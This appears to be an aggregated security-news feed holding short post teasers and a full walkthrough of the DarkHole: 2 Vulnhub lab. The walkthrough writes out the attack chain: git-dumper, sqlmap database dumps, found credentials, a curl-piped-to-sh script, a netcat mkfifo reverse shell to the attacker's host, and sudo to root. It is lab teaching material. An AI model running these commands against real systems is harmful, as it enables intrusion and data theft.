Hacking on Medium
Anatolia CTF Machine

https://cdn-images-1.medium.com/max/1440/1*HVYx_AHgS03VvtgyXT8FSA.png
This box is designed to get players hacking the machine of a malazgirt chat program reverse engineer.It aimed to break the server and…

Continue reading on Medium »

Hacking on Medium
Kubernetes Network Policy or Blocking External Traffic will Slightly Reduce log4j Attack, not…

https://cdn-images-1.medium.com/max/2600/1*I9JhYb4nvzLJPzZHW7OFMA.jpeg
blocking external egress from your applications is not only unrealistic for many but also doesn’t mitigate (avoid) the issue… only slightly

Continue reading on Martino Jones »

Hacking on Medium
Gaining access to a network with Office macros — Pentesting and red teaming

https://cdn-images-1.medium.com/max/600/1*Lr5-lwsVOBC1On3qgYyw-Q.gif
Explaining the usage of malicious Office macros to gain access to a target’s network as a red teamer.

Continue reading on Medium »

Hacking on Medium
Chrome should be updated to patch a new zero-day vulnerability that has been discovered recently

https://cdn-images-1.medium.com/max/900/1*qLSc9XzbvHLmyej9_8hfPw.jpeg
Google has released patches for five security flaws in its Chrome web browser, including one that it claims is being exploited in the…

Continue reading on Medium »

Hacking on Medium
Zero Trust as part of data security policy

https://cdn-images-1.medium.com/max/2560/1*4buigbwBwykoqVWO1tsUFA.jpeg
Examining over 530 data breaches across 17 countries, a 2021 report from the Ponemon Institute reveals that the average cost per breach…

Continue reading on Medium »

Hacking on Medium
Microsoft detalla el troyano bancario Qakbot ampliamente activo

https://cdn-images-1.medium.com/max/1519/0*kkVBnTnIRBJbbsJr
PUBLICADO EN 13 DICIEMBRE, 2021POR DPAB

Continue reading on Medium »

Hacking Articles|Raj Chandel's Blog
DarkHole: 2 Vulnhub Walkthrough

DarkHole: 2 is a medium-hard machine created by Jihad Alqurashi for Vulnhub. This system is also put through its paces in VirtualBox. This lab is appropriate for certain experienced CTF players who want to test their talents in these settings. So, let's get started and figure out how to divide things down into small chunks. Pentesting Methodology<o:pNetwork Scanning<o:p● netdiscover<o:p

● nmap<o:p Enumeration<o:p● Abusing HTTP<o:p

● gitdumper tool <o:p Exploitation<o:p● SQL injection<o:p

● ssh<o:p Privilege Escalation<o:p● linpass.sh<o:p

● Netcat reverse shell<o:p

● User flag<o:p

● bash history<o:p

● Root flag<o:p
Level: Medium-Hard<o:p Network Scanning<o:pTo begin, we must use the netdiscover command to scan the network for the victim machine's IP address.<o:p netdiscover<o:pOur IP address is 192.168.1.179.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEiXTKCYvRjr6Qa39q_hHa0RFIFK7qcR44D3KKWTo5to3znp3SRA1k2UC5J3TWhlsg2OGCllo5CDNZt4aDEx_PcMIBILa4HS4NbNnwlA836q-w5CjK03B_ddGn_fwYcnEw6y9o0IVtvVXBnlB5jmGN2SZCSlljsgUqPLrdADWOtykPQ7smrTC8jbTxfE4w=s16000 We are now initiating Nmap to advance in this process. We did an aggressive scan (-A) for open port enumeration and discovered the following ports information:<o:p nmap -A 192.168.1.179<o:pAccording to the Nmap output, we have <o:p

● an SSH server running on port 22 <o:p

● an HTTP service running (Apache Server) on port 80, as well as an http-git page.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEi5SJXVgdnuGKxNQSTuftoyt2JjYEvg_1zOHwA9gDDzt4SSb47inEB5wC9XFXohGu32Njx4zRgE8YdLhDBYIWRSK-4hJlR5pMjy35Q_61A-awpGmVok0CiaLb6pP7bIToYViYNeW20nYvEMoj14n-I0U09QMtTv-O6PP-MnvVI9lMQXVjD_UasXzcC33Q=s16000 Enumeration<o:pFirst, we'll try to utilize HTTP. Let's check port 80 to see if anything interesting comes up. Because the Apache Server is listening on port 80, we can immediately verify it in the browser.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEhj3vQH88_dWcKQyrVmMOGAYewdNn6YtyrtwAZM5F_JFnp6TzI-A5Fhh2h9KlOSxiTAVHYLMeJ4YJ8B6p6DGv9OocZAGBzpdjOjRu2nD5ym-sSfPbmXzen_F4aEJFL8mIlEJ01XD8cK0RgZ4u87ihXRSgFJ_W11SIO3Jt87jADESxydSbc_UuRHvXMiTw=s16000 Except for the login page, the site contains no useful information. So, we decided to have a sneak peek at the login page.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEiCwq16mon2FJ-KIvcBRaJYtA67YbLwJ6eF-Sepc-ZSAec8opB_zeuL0w-mlzsA9SuQULDPWbvhlHFDvbbF06B8vCzc8tfjr5s3IJObhSoqQnIucVHG02ZRIp6u23xn1CROBzsA7a1mhJBZ2Fbvebbu4hL4iq1L4S_QA-16wLbimgWSPtdk0FdImySyRg=s16000 Then we decided to have a look at the http-git page that we discovered previously during the Nmap aggressive scan.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEi6XhioBLjHvMza2VXkMALuhzWnrt6M_G4-vojrl_rrWvE7MGC0cCiX0-ybDdpdxjV0cpaFltze9fVKaT_8AEBEBtWRSoUoNCSMRoEN3rPYWRJBMMGbTBG-LsmE52gROF9BZ9RwTlWJSGiEJBNb0sgZOrVkyh29CVGgD0CQkWQ1QhDezNtcJjjEvP2C-A=s16000 We've introduced a tool called gitdumper to improve the aesthetics of this http-git page. It is a tool for acquiring a git repository from a website to gain a better grasp of the data set.<o:p

We simply use the git clone function to install this.<o:p git clone https://github.com/arthaud/git-dumper.git<o:pcd git-dumper<o:pAfter downloading the tool, we attempt to run it with python.<o:p

Another thing we must do is offer them a directory name in which to save these git logs (in our case we named this as a backup for this http-git page).<o:p mkdir backup<o:ppython3 git_dumper.py http://192.168.1.179/.git/backup<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEiT29Oqv7yZMZBHQzCk6hKCp[...]

bj7TyN3dhxHhRytTr71H3NgziNQX2udgVCY89iKRmpsL_yu_1LH_i4sd1gmDGT52-xV_vttnbNBtS3z9xUVHq3kDc1C4_2Mn5ZtK8zaWRdrTdp6haL67O7PfRbnkqtsDhCvl3odmb2qcVTOLFvgtI5PGFR0cpOL3Fk8Ug=s16000 After that, we accessed the backup directory, and the log file had three entries. Using git, we opened one of the entries to progress in this lab. <o:p cd backup<o:pgit log<o:pgit diff a4d900a8d85e8938d3601f3cef113ee293028e10<o:pFinally, we discovered the login page credentials discovered before during http abuse.<o:p Email: lush@admin.com<o:pPassword: 321 <o:phttps://blogger.googleusercontent.com/img/a/AVvXsEjo00TFyBn5tyatnqvHADdQAm_nbpLEo6yIL2v5K2aQgOt06UdxQvOx7JXKrTBvbU33oQjg9D7Gd6ouZEEo56VqWwceF8_zl5iNIXHQVtlzAlL0GEhGNhpTdZNEwpr00b6RADtF2w497gLZHk3cWQ7snm9wrDtiTXroRdAfVW5gvouHSm73yvbjTT5U4g=s16000 Exploitation<o:pWe were directed to a strange page after checking in on that page, which we thought was suitable for SQL injection-related tactics.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEin6mds8mGlOR2Wmj6_f8udxTvweX9DMNi9WSS-mHzwDixZ7dqjRMVnJ8xuRhCLOBGfuYCageZEl-UwdbDv142SUfy4_gDpHz85fBvhX8pACuyVo37tsHIv950ifRFShjCAT9OCaiBrfEpyxuUAWzlx6aEGEMNaNuAP7-v2LJ870MkITr7_xYkR8nscyg=s16000 So, we used a burp suite to gather this page's cookies. It will be advantageous for our SQL injection strategy.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEjt70lD7SOdcfdcESTehav_vpwGY4h6cmF_UJi4KVnJt1qvaAGxprt0nIRmNmVr6iSI1Ab9AFdDE9PnVTgqzO7sVqXeTvoJB-eUbY5UGknFqimKmP-V6k49pfVN_bRu0La7Ug1_2SBFX_BOhgcRAKgFZ8gvvq1BJxW6gB3yGQfhsimrCOtYHVDB3upWyQ=s16000 These cookies were saved in a file called "sql" using the nano command. We initiated a sqlmap attack using this file, requesting the databases.<o:p nano sql<o:psqlmap -r sql --dbs --batch<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEja0kqekwbiUqJburCCruXcxRsk-RZThhg1bmLMtsLq5Q2-kQ0PDCsTzKI52va2OtxCuXGFD4tU9LbJgb3-XRDLaE9vD75wd1GW4T9rQRQY2Y4hjP-7wPODow4WrnscMR3dySbraXSZmIkQFqx0YgzxC8tRanGDbYfIU3FrZFCMTOmOQKKsscRefvk03w=s16000 We obtained a few databases in a matter of minutes. So, we initiated another command (using the -D parameter) for dumping the database named darkhole_2.<o:p sqlmap -r sql -D darkhole_2 --dump-all --batch<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEgYu8JjIEht0Ur-GEtxUOk7bSen77vpLKcnYUtdt_K_zloXZqMACD-eDYlXFohwwY1e7IA7WGpsBGSm1rEmhKhGQ4Gs-h6FCPq7GbP-dOVZuksyghtHRRmGRmjzB38_O-pUNWkK2nJIfmWgmKGXwFHBfLgZ2ubnbr8adBKLosMxGRjzjy9Uo947KZyVPw=s16000 In a matter of moments, we discovered ssh credentials for the user Jehad in this dump database.<o:p User: jehad<o:pPass: fool<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEjI1l3CnG589h2HTGO5O5gX9_JSua3RyzhF05cj_7OSUpDO3WBULfEpGnNsE_w4xTgvByR1tK9J5H2yylXfYP1XsKttWHh99YCGMZpswAYTT6rvO6gssBNz4eKkNap9AfHSQyCir7MXSin7mFWMlnMR7lUOUC3ovrfrH97vntqLjWMi3XwAhMA8sHXfKQ=s16000 Now, using these ssh credentials, we logged in with the user Jehad and opened its id to authenticate it.<o:p ssh jehad@192.168.1.179<o:pid <o:phttps://blogger.googleusercontent.com/img/a/AVvXsEgIyzYBixzw4g95TXAnXx67XPbxsBu5bqfS-P2LCSAkzNx50ys8zCUCLTm7vxtVBy4h1F8VhtzgqCCLjEL9oVX9_oDNQcRVgic2mUfgJ1k0zdVy_20m7Qjd2zwPcB3xz7FeuEWUzzjr6cazq4UZiaW4S3Xe12mMcOl6H1IVmuIo4WV0msj8nV7yAsuWXw=s16000 Privilege Escalation<o:p

It's time to start the privilege escalation process. We switched to the tmp folder and tried to run the Linpeas script with curl. This is a script that searches for potential paths to elevate privileges on Linux hosts and highlights them for a better understanding of those instances with potential exploits.<o:p curl https://raw.githubusercontent.com/carlospalop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh | sh<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEjdTqGZDJM0ex5b6vCyvYUoxLIZob0gtC33gpOSDt0JV3rV-jjDK9m2gAZO0W11g5wMrhN7fOqO0ttbcixPzf3GuOKpv[...]

l9bKxHElgiWsHh0_J8hlz5lawjr_cqLFDcY0Yn8bk3loKBrgRuvNdYwPoqs3dhToL7ctiAksYY3bRasPCV1QFKF5lK3lQSXhw=s16000 After running it, we saw that a PHP page for the user Losy was available on localhost port 9999. As a result, we've devised a plan to use local port forwarding to go to that page.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEhkd-2Zgwy0MNv8k7LbH4nVB49EeeDPIi6wRl_pAe9qdrxtWJvxI1-Whv0mLTGxwrmML2dAcDo45_vz76bgAzExcCNbEeM5jJAyt4Mxl2lHxj9WPatpGulOPxFlyWzqlowgCWRwAFlpYOYDwrl2Q73Rrfrn_7qpJ_EWtAIe1Z5fP-Wx-CjLS0hZ12mNqw=s16000 First, we went to the previously mentioned directory and discovered an index.php file. This tells us that we can get a command prompt (cmd) by using the previously discussed local port forwarding method for the user losy.<o:p cd /opt/web<o:pcat index.php<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEgUp0wFtSrNL17D0CNDobsV23Y4T_D_052sVSa3949L_E-Cii8b9C1EZaqvANnachdEoaUnsc8bs-6JNkfmoPUH9pucflZvoztcz5DwPTna8YiPKhIrq4QRFTvzZf4edykxejyMD7ZoueX59x7U8bEJ7GCMjcVuXp8lF-dXL3Zke6BoV_y0kWVpYntr_g=s16000 It is now time to launch this assault. We attempt to login as the jehad user, using the details of local port forwarding provided in the above results we achieved.<o:p ssh jehad@192.168.1.179 -L 9999:localhost:9999<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEgR26p_z0kli_TMSC4xYJUylfMzGMn6nHw4Ad-NCOJDr8kCW5gUX9UUVQyZLzJeFZzD0A_L1pKV2_ULryJVcaVvi-nG9hFwJapU92CjVrAHy9aFCdEuT5FKfrw7I7W1mYUt1P2xLVSvIJH89vEyiTAnIDbWRsAJVyMrxj45W_T_rMxYU2qKTX2GU6DEgg=s16000 Following that, we saw the user losy's command prompt in the web browser. We authenticate this by collecting this user's id.<o:p http://127.0.0.1:9999/?cmd=id<o:p https://blogger.googleusercontent.com/img/a/AVvXsEgrGzoOQk-Vk9vWwFW_jtb3co8A0P1Cn7VIBlSu_ohBL4H4OWNAUX9oByEQdbXnP6kl8nMnGHmMbpIc6fo2unNWiQfY6K_OzmscDUE0QxApWygN1pT2DU4LgffD60BsRd2tSY1SXyBuMOpYaMWbwUuVVv3aBwlXMIP_WgMHo704DikFmHbckZX0_wmKMA=s16000 Privilege Escalation<o:p

Using a netcat reverse shell on this browser as this user's cmd. We attempted a standard methods command, but it did not work in this circumstance. So, we attempted this attack after encoding it using the burp suite decoder.<o:p rm /tmpf;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.3:8888 >/tmp/f<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEhZJKQ-N6evvk5KGAMzO_3o6RnvTLzppLj2XnWqy7B9rcBWygZzBQn6H-ztMh37eHCKJt9tppqxuiuHRjHKMUq58RGYbdyGetK_kQjGz6CF7FZYKi-8zo3qjJEpwfmA65YyjIvHFDtcTcT5i80ElGby6ESot3tjguTbT59cBvZgctQ6HU_JrwP0hh3AOQ=s16000 After that, we used a web browser and opened a Netcat listener on the opposite side to catch the reverse shell.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEiSN-ZVbQB5cwhCEoaT6hOY_sAsYYi485M8Wzv6QKWcMzKf631YnnpCM73H-L502FJG9IEMkWxYFX1-5OzIDKk-_csH4ooGXH80yacS0jz_FdVI_qq_A_566S4VFXSb6cBm07-6NKgvZFrHGnMWi5Z0uNmmsldxtMBx80AbGYKBRqKvA3Lg-Rq0n5XA_w=s16000 nc -lvp 8888<o:ppython3 -c 'import pty; pty.spawn("/bin/bash")'<o:pWe obtained the user losy and the user flag of this lab after capturing the reverse shell.<o:p

We discovered the bash history of this lab in a folder, which can be quite beneficial in obtaining root.<o:p cd /home/losy<o:pcat user.txt<o:pcat .bash_history<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEjaxgNwuSs7ULXsFX7gLinzYwUz89JXIiGHfprW4xzo3xiqgeVC_oynBBNFjHxDy5xN_kU1rbhm2FQMz8MdNCVRznTzT7LZFx2_0SmnMzDt02XxuyEuqKF5YPCyVZLz1D2LmuQSmg8-bHTYfPN4L4K0IkKBY2UzwagOYh2BeQPCxCGQlqAqTojfo4aBtA=s16000 We discovered losy's login credentials in this bash history file.<o:p losy: gang<o:pFollowing that, we tested this user's sudo permissions. We discovered that we could reach the root using a python one-liner.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEiXZ8lXN7btde8EU2an1ZfCWY6OX8d1pGJ3FHS16yahRFv3iPDO2F3L2uMeRp_Gi7RnL9UQNawiV_TikcN9QXg8jX9eKl4YcZXy9_YcsSAY8EbQ[...]

Ei-waUU3kehs_83EMtnf03ebpk5FCdttcv1XKaKCBM-U0FdHUgWcYW89sxRoK8mOTISA4fjTT4evuQ=s16000 Now run this python one-liner with sudo and the losy credential.<o:p sudo python3 -c 'import pty; pty.spawn("/bin/bash")'<o:pHurray!! We obtained the well as root flag. I must add that it was a great activity to complete, and I applaud the author for creating this lab.<o:p cat root.txt<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEgxHSWy97gMDymA7uFakJKToMLom42qLY5j4OQbIROC51PJVsvI-DsIqxg5CsDitdEtyOK38yakCTu419RKq8FZbltinWoHIGhPUeVkc6D_cn2T9J-e8PxMckUOTBs-OHrENTPsmsj0TH14tKEJwHGH_ygzLgS7kJf5cylWQrm78d91__T0BGIiXYynNQ=s16000

hacking: security in practice
How to counter a hacker

Hey I’m not a hacker myself but am having issues with some guy from China repedatly trying to log into all my accounts on everything I have idk how he even found me or why he’s trying to do this but what can I do to counter this he won’t stop and I’m getting annoyed

submitted by /u/Detomaso375
[link] [comments]

hacking: security in practice
Denigma is an AI that explains code in understandable English. What hackers think and how is it useful to you?

https://external-preview.redd.it/TURTuNPNWEVaytaL2TQlpZ9oV-v4zxHfzZCWhg-KWZ4.jpg?width=640&crop=smart&auto=webp&s=f3c7cf32f0dde1faf8ddbe13adcf17a6c425be10 submitted by /u/bawlerblog
[link] [comments]